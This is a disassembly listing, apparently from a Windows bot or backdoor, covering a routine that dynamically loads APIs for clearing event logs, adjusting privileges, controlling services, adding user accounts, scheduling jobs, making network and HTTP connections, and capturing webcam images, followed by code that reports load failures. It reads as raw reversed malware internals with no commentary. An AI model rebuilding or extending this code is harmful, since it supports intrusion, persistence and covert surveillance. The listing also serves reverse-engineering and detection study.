loc_409CCC:				; CODE XREF: sub_409A6D+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; dword_42709C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E85
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4D1260, eax
		call	esi ; dword_4270BC
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4D11A4, eax
		call	esi ; dword_4270BC
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4D1214, eax
		call	esi ; dword_4270BC
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4D10F0, eax
		call	esi ; dword_4270BC
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4D1154, eax
		call	esi ; dword_4270BC
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4D11CC, eax
		call	esi ; dword_4270BC
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4D1170, eax
		call	esi ; dword_4270BC
		cmp	dword_4D1260, ebx
		mov	dword_4D1180, eax
		jz	short loc_409D75
		cmp	dword_4D11A4, ebx
		jz	short loc_409D75
		cmp	dword_4D1214, ebx
		jz	short loc_409D75
		cmp	dword_4D10F0, ebx
		jz	short loc_409D75
		cmp	dword_4D1154, ebx
		jz	short loc_409D75
		cmp	dword_4D11CC, ebx
		jnz	short loc_409D7F


loc_409D75:				; CODE XREF: sub_409A6D+2DEj
					; sub_409A6D+2E6j ...
		mov	dword_4D12C0, 1


loc_409D7F:				; CODE XREF: sub_409A6D+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; dword_4270BC
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4D11D4, eax
		call	esi ; dword_4270BC
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4D11AC, eax
		call	esi ; dword_4270BC
		cmp	dword_4D11D4, ebx
		mov	dword_4D125C, eax
		jz	short loc_409DBA
		cmp	dword_4D11AC, ebx
		jz	short loc_409DBA
		cmp	eax, ebx
		jnz	short loc_409DC4


loc_409DBA:				; CODE XREF: sub_409A6D+33Fj
					; sub_409A6D+347j
		mov	dword_4D12C0, 1


loc_409DC4:				; CODE XREF: sub_409A6D+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4D11E4, eax
		call	esi ; dword_4270BC
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4D10CC, eax
		call	esi ; dword_4270BC
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4D10D4, eax
		call	esi ; dword_4270BC
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4D1138, eax
		call	esi ; dword_4270BC
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4D113C, eax
		call	esi ; dword_4270BC
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4D10E8, eax
		call	esi ; dword_4270BC
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4D11B0, eax
		call	esi ; dword_4270BC
		cmp	dword_4D11E4, ebx
		mov	dword_4D10D8, eax
		jz	short loc_409E68
		cmp	dword_4D10CC, ebx
		jz	short loc_409E68
		cmp	dword_4D10D4, ebx
		jz	short loc_409E68
		cmp	dword_4D1138, ebx
		jz	short loc_409E68
		cmp	dword_4D113C, ebx
		jz	short loc_409E68
		cmp	dword_4D10E8, ebx
		jz	short loc_409E68
		cmp	dword_4D11B0, ebx
		jz	short loc_409E68
		cmp	eax, ebx
		jnz	short loc_409E72


loc_409E68:				; CODE XREF: sub_409A6D+3C5j
					; sub_409A6D+3CDj ...
		mov	dword_4D12C0, 1


loc_409E72:				; CODE XREF: sub_409A6D+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; dword_4270BC
		cmp	eax, ebx
		mov	dword_4D10D0, eax
		jnz	short loc_409E9A
		jmp	short loc_409E90
; ---------------------------------------------------------------------------


loc_409E85:				; CODE XREF: sub_409A6D+26Aj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D12C4, eax


loc_409E90:				; CODE XREF: sub_409A6D+416j
		mov	dword_4D12C0, 1


loc_409E9A:				; CODE XREF: sub_409A6D+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; dword_42709C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F66
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4D11DC, eax
		call	esi ; dword_4270BC
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4D1234, eax
		call	esi ; dword_4270BC
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4D123C, eax
		call	esi ; dword_4270BC
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4D11F8, eax
		call	esi ; dword_4270BC
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4D1114, eax
		call	esi ; dword_4270BC
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4D10C0, eax
		call	esi ; dword_4270BC
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4D1238, eax
		call	esi ; dword_4270BC
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4D10AC, eax
		call	esi ; dword_4270BC
		cmp	dword_4D11DC, ebx
		mov	dword_4D114C, eax
		jz	short loc_409F71
		cmp	dword_4D1234, ebx
		jz	short loc_409F71
		cmp	dword_4D123C, ebx
		jz	short loc_409F71
		cmp	dword_4D11F8, ebx
		jz	short loc_409F71
		cmp	dword_4D1114, ebx
		jz	short loc_409F71
		cmp	dword_4D10C0, ebx
		jz	short loc_409F71
		cmp	dword_4D1238, ebx
		jz	short loc_409F71
		cmp	dword_4D10AC, ebx
		jz	short loc_409F71
		cmp	eax, ebx
		jnz	short loc_409F7B
		jmp	short loc_409F71
; ---------------------------------------------------------------------------


loc_409F66:				; CODE XREF: sub_409A6D+438j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D12CC, eax


loc_409F71:				; CODE XREF: sub_409A6D+4B9j
					; sub_409A6D+4C1j ...
		mov	dword_4D12C8, 1


loc_409F7B:				; CODE XREF: sub_409A6D+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A237
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; dword_4270BC
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4D1160, eax
		call	esi ; dword_4270BC
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4D1294, eax
		call	esi ; dword_4270BC
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4D1100, eax
		call	esi ; dword_4270BC
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4D10DC, eax
		call	esi ; dword_4270BC
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4D119C, eax
		call	esi ; dword_4270BC
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4D1184, eax
		call	esi ; dword_4270BC
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4D1148, eax
		call	esi ; dword_4270BC
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4D1270, eax
		call	esi ; dword_4270BC
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4D128C, eax
		call	esi ; dword_4270BC
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4D1198, eax
		call	esi ; dword_4270BC
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4D127C, eax
		call	esi ; dword_4270BC
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4D1230, eax
		call	esi ; dword_4270BC
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4D11F0, eax
		call	esi ; dword_4270BC
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4D11EC, eax
		call	esi ; dword_4270BC
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4D1120, eax
		call	esi ; dword_4270BC
		push	offset aSend	; "send"
		push	edi
		mov	dword_4D1118, eax
		call	esi ; dword_4270BC
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4D1240, eax
		call	esi ; dword_4270BC
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4D1254, eax
		call	esi ; dword_4270BC
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4D1208, eax
		call	esi ; dword_4270BC
		mov	dword_4D11C8, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; dword_4270BC
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4D121C, eax
		call	esi ; dword_4270BC
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4D11D8, eax
		call	esi ; dword_4270BC
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4D1218, eax
		call	esi ; dword_4270BC
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4D1284, eax
		call	esi ; dword_4270BC
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4D11D0, eax
		call	esi ; dword_4270BC
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4D1194, eax
		call	esi ; dword_4270BC
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4D1204, eax
		call	esi ; dword_4270BC
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4D1274, eax
		call	esi ; dword_4270BC
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4D11A8, eax
		call	esi ; dword_4270BC
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4D1144, eax
		call	esi ; dword_4270BC
		cmp	dword_4D1160, ebx
		mov	dword_4D1288, eax
		jz	loc_40A242
		cmp	dword_4D1294, ebx
		jz	loc_40A242
		cmp	dword_4D1100, ebx
		jz	loc_40A242
		cmp	dword_4D119C, ebx
		jz	loc_40A242
		cmp	dword_4D1184, ebx
		jz	loc_40A242
		cmp	dword_4D1148, ebx
		jz	loc_40A242
		cmp	dword_4D1270, ebx
		jz	loc_40A242
		cmp	dword_4D128C, ebx
		jz	loc_40A242
		cmp	dword_4D1198, ebx
		jz	loc_40A242
		cmp	dword_4D127C, ebx
		jz	loc_40A242
		cmp	dword_4D1230, ebx
		jz	loc_40A242
		cmp	dword_4D11F0, ebx
		jz	loc_40A242
		cmp	dword_4D11EC, ebx
		jz	loc_40A242
		cmp	dword_4D1120, ebx
		jz	short loc_40A242
		cmp	dword_4D1240, ebx
		jz	short loc_40A242
		cmp	dword_4D1254, ebx
		jz	short loc_40A242
		cmp	dword_4D1208, ebx
		jz	short loc_40A242
		cmp	dword_4D11C8, ebx
		jz	short loc_40A242
		cmp	dword_4D121C, ebx
		jz	short loc_40A242
		cmp	dword_4D11D8, ebx
		jz	short loc_40A242
		cmp	dword_4D1218, ebx
		jz	short loc_40A242
		cmp	dword_4D1284, ebx
		jz	short loc_40A242
		cmp	dword_4D11D0, ebx
		jz	short loc_40A242
		cmp	dword_4D1194, ebx
		jz	short loc_40A242
		cmp	dword_4D1204, ebx
		jz	short loc_40A242
		cmp	dword_4D1274, ebx
		jz	short loc_40A242
		cmp	dword_4D11A8, ebx
		jz	short loc_40A242
		cmp	eax, ebx
		jnz	short loc_40A24C
		jmp	short loc_40A242
; ---------------------------------------------------------------------------


loc_40A237:				; CODE XREF: sub_409A6D+51Fj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D12D4, eax


loc_40A242:				; CODE XREF: sub_409A6D+6BEj
					; sub_409A6D+6CAj ...
		mov	dword_4D12D0, 1


loc_40A24C:				; CODE XREF: sub_409A6D+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A351
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; dword_4270BC
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4D112C, eax
		call	esi ; dword_4270BC
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4D10B4, eax
		call	esi ; dword_4270BC
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4D11B8, eax
		call	esi ; dword_4270BC
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4D1164, eax
		call	esi ; dword_4270BC
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4D11C4, eax
		call	esi ; dword_4270BC
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4D1188, eax
		call	esi ; dword_4270BC
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4D10F4, eax
		call	esi ; dword_4270BC
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4D10EC, eax
		call	esi ; dword_4270BC
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4D10FC, eax
		call	esi ; dword_4270BC
		cmp	dword_4D112C, ebx
		mov	ecx, dword_4D1188
		mov	dword_4D1224, eax
		jz	short loc_40A32D
		cmp	dword_4D10B4, ebx
		jz	short loc_40A32D
		cmp	dword_4D11B8, ebx
		jz	short loc_40A32D
		cmp	dword_4D1164, ebx
		jz	short loc_40A32D
		cmp	dword_4D11C4, ebx
		jz	short loc_40A32D
		cmp	ecx, ebx
		jz	short loc_40A32D
		cmp	dword_4D10F4, ebx
		jz	short loc_40A32D
		cmp	dword_4D10EC, ebx
		jz	short loc_40A32D
		cmp	dword_4D10FC, ebx
		jz	short loc_40A32D
		cmp	eax, ebx
		jnz	short loc_40A337


loc_40A32D:				; CODE XREF: sub_409A6D+87Ej
					; sub_409A6D+886j ...
		mov	dword_4D12D8, 1


loc_40A337:				; CODE XREF: sub_409A6D+8BEj
		cmp	ecx, ebx
		jz	short loc_40A36C
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx ; dword_4D1188
		cmp	eax, ebx
		mov	dword_4D11A0, eax
		jnz	short loc_40A36C
		jmp	short loc_40A366
; ---------------------------------------------------------------------------


loc_40A351:				; CODE XREF: sub_409A6D+7EAj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D12DC, eax
		mov	dword_4D12D8, 1


loc_40A366:				; CODE XREF: sub_409A6D+8E2j
		mov	dword_4D11A0, ebx


loc_40A36C:				; CODE XREF: sub_409A6D+8CCj
					; sub_409A6D+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B6
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; dword_4270BC
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4D1178, eax
		call	esi ; dword_4270BC
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4D12A8, eax
		call	esi ; dword_4270BC
		cmp	dword_4D1178, ebx
		mov	dword_4D1108, eax
		jz	short loc_40A3C1
		cmp	dword_4D12A8, ebx
		jz	short loc_40A3C1
		cmp	eax, ebx
		jnz	short loc_40A3CB
		jmp	short loc_40A3C1
; ---------------------------------------------------------------------------


loc_40A3B6:				; CODE XREF: sub_409A6D+90Aj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D12E4, eax


loc_40A3C1:				; CODE XREF: sub_409A6D+939j
					; sub_409A6D+941j ...
		mov	dword_4D12E0, 1


loc_40A3CB:				; CODE XREF: sub_409A6D+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A4D2
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; dword_4270BC
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4D10E4, eax
		call	esi ; dword_4270BC
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4D10BC, eax
		call	esi ; dword_4270BC
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4D1134, eax
		call	esi ; dword_4270BC
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4D1168, eax
		call	esi ; dword_4270BC
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4D1280, eax
		call	esi ; dword_4270BC
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4D111C, eax
		call	esi ; dword_4270BC
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4D10C8, eax
		call	esi ; dword_4270BC
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4D10B8, eax
		call	esi ; dword_4270BC
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4D1150, eax
		call	esi ; dword_4270BC
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4D1248, eax
		call	esi ; dword_4270BC
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4D1200, eax
		call	esi ; dword_4270BC
		cmp	dword_4D10E4, ebx
		mov	dword_4D1124, eax
		jz	short loc_40A4DD
		cmp	dword_4D10BC, ebx
		jz	short loc_40A4DD
		cmp	dword_4D1134, ebx
		jz	short loc_40A4DD
		cmp	dword_4D1168, ebx
		jz	short loc_40A4DD
		cmp	dword_4D1280, ebx
		jz	short loc_40A4DD
		cmp	dword_4D111C, ebx
		jz	short loc_40A4DD
		cmp	dword_4D10C8, ebx
		jz	short loc_40A4DD
		cmp	dword_4D10B8, ebx
		jz	short loc_40A4DD
		cmp	dword_4D1150, ebx
		jz	short loc_40A4DD
		cmp	dword_4D1248, ebx
		jz	short loc_40A4DD
		cmp	dword_4D1200, ebx
		jnz	short loc_40A4E7
		jmp	short loc_40A4DD
; ---------------------------------------------------------------------------


loc_40A4D2:				; CODE XREF: sub_409A6D+969j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D12EC, eax


loc_40A4DD:				; CODE XREF: sub_409A6D+A11j
					; sub_409A6D+A19j ...
		mov	dword_4D12E8, 1


loc_40A4E7:				; CODE XREF: sub_409A6D+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A51C
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; dword_4270BC
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4D110C, eax
		call	esi ; dword_4270BC
		cmp	dword_4D110C, ebx
		mov	dword_4D11E8, eax
		jz	short loc_40A527
		cmp	eax, ebx
		jnz	short loc_40A531
		jmp	short loc_40A527
; ---------------------------------------------------------------------------


loc_40A51C:				; CODE XREF: sub_409A6D+A85j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D12F4, eax


loc_40A527:				; CODE XREF: sub_409A6D+AA7j
					; sub_409A6D+AADj
		mov	dword_4D12F0, 1


loc_40A531:				; CODE XREF: sub_409A6D+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A566
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; dword_4270BC
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4D126C, eax
		call	esi ; dword_4270BC
		cmp	dword_4D126C, ebx
		mov	dword_4D1268, eax
		jz	short loc_40A571
		cmp	eax, ebx
		jnz	short loc_40A57B
		jmp	short loc_40A571
; ---------------------------------------------------------------------------


loc_40A566:				; CODE XREF: sub_409A6D+ACFj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D12FC, eax


loc_40A571:				; CODE XREF: sub_409A6D+AF1j
					; sub_409A6D+AF7j
		mov	dword_4D12F8, 1


loc_40A57B:				; CODE XREF: sub_409A6D+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5DA
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; dword_4270BC
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4D1298, eax
		call	esi ; dword_4270BC
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4D1290, eax
		call	esi ; dword_4270BC
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4D1258, eax
		call	esi ; dword_4270BC
		cmp	dword_4D1298, ebx
		mov	dword_4D1128, eax
		jz	short loc_40A5E5
		cmp	dword_4D1290, ebx
		jz	short loc_40A5E5
		cmp	dword_4D1258, ebx
		jz	short loc_40A5E5
		cmp	eax, ebx
		jnz	short loc_40A5EF
		jmp	short loc_40A5E5
; ---------------------------------------------------------------------------


loc_40A5DA:				; CODE XREF: sub_409A6D+B19j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D1304, eax


loc_40A5E5:				; CODE XREF: sub_409A6D+B55j
					; sub_409A6D+B5Dj ...
		mov	dword_4D1300, 1


loc_40A5EF:				; CODE XREF: sub_409A6D+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A624
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4D115C, eax
		call	esi ; dword_4270BC
		cmp	dword_4D115C, ebx
		mov	dword_4D1264, eax
		jz	short loc_40A62F
		cmp	eax, ebx
		jnz	short loc_40A639
		jmp	short loc_40A62F
; ---------------------------------------------------------------------------


loc_40A624:				; CODE XREF: sub_409A6D+B8Dj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D130C, eax


loc_40A62F:				; CODE XREF: sub_409A6D+BAFj
					; sub_409A6D+BB5j
		mov	dword_4D1308, 1


loc_40A639:				; CODE XREF: sub_409A6D+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C2
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; dword_4270BC
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4D122C, eax
		call	esi ; dword_4270BC
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4D1278, eax
		call	esi ; dword_4270BC
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4D11B4, eax
		call	esi ; dword_4270BC
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4D116C, eax
		call	esi ; dword_4270BC
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4D120C, eax
		call	esi ; dword_4270BC
		cmp	dword_4D122C, ebx
		mov	dword_4D117C, eax
		jz	short loc_40A6CD
		cmp	dword_4D1278, ebx
		jz	short loc_40A6CD
		cmp	dword_4D11B4, ebx
		jz	short loc_40A6CD
		cmp	dword_4D116C, ebx
		jz	short loc_40A6CD
		cmp	dword_4D120C, ebx
		jz	short loc_40A6CD
		cmp	eax, ebx
		jnz	short loc_40A6D7
		jmp	short loc_40A6CD
; ---------------------------------------------------------------------------


loc_40A6C2:				; CODE XREF: sub_409A6D+BD7j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D1314, eax


loc_40A6CD:				; CODE XREF: sub_409A6D+C2Dj
					; sub_409A6D+C35j ...
		mov	dword_4D1310, 1


loc_40A6D7:				; CODE XREF: sub_409A6D+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A70C
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4D1140, eax
		call	esi ; dword_4270BC
		cmp	dword_4D1140, ebx
		mov	dword_4D1220, eax
		jz	short loc_40A717
		cmp	eax, ebx
		jnz	short loc_40A721
		jmp	short loc_40A717
; ---------------------------------------------------------------------------


loc_40A70C:				; CODE XREF: sub_409A6D+C75j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4D131C, eax


loc_40A717:				; CODE XREF: sub_409A6D+C97j
					; sub_409A6D+C9Dj
		mov	dword_4D1318, 1


loc_40A721:				; CODE XREF: sub_409A6D+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409A6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A729	proc near		; CODE XREF: .nsp0:00403FFEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4D12B0, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A771
		push	dword_4D12B4
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A771:				; CODE XREF: sub_40A729+1Aj
		cmp	dword_4D12B8, esi
		jz	short loc_40A7A5
		push	dword_4D12BC
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A7A5:				; CODE XREF: sub_40A729+4Ej
		cmp	dword_4D12C0, esi
		jz	short loc_40A7D9
		push	dword_4D12C4
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A7D9:				; CODE XREF: sub_40A729+82j
		cmp	dword_4D12C8, esi
		jz	short loc_40A80D
		push	dword_4D12CC
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A80D:				; CODE XREF: sub_40A729+B6j
		cmp	dword_4D12D0, esi
		jz	short loc_40A841
		push	dword_4D12D4
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A841:				; CODE XREF: sub_40A729+EAj
		cmp	dword_4D12D8, esi
		jz	short loc_40A875
		push	dword_4D12DC
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A875:				; CODE XREF: sub_40A729+11Ej
		cmp	dword_4D12E0, esi
		jz	short loc_40A8A9
		push	dword_4D12E4
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A8A9:				; CODE XREF: sub_40A729+152j
		cmp	dword_4D12E8, esi
		jz	short loc_40A8DD
		push	dword_4D12EC
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A8DD:				; CODE XREF: sub_40A729+186j
		cmp	dword_4D12F0, esi
		jz	short loc_40A911
		push	dword_4D12F4
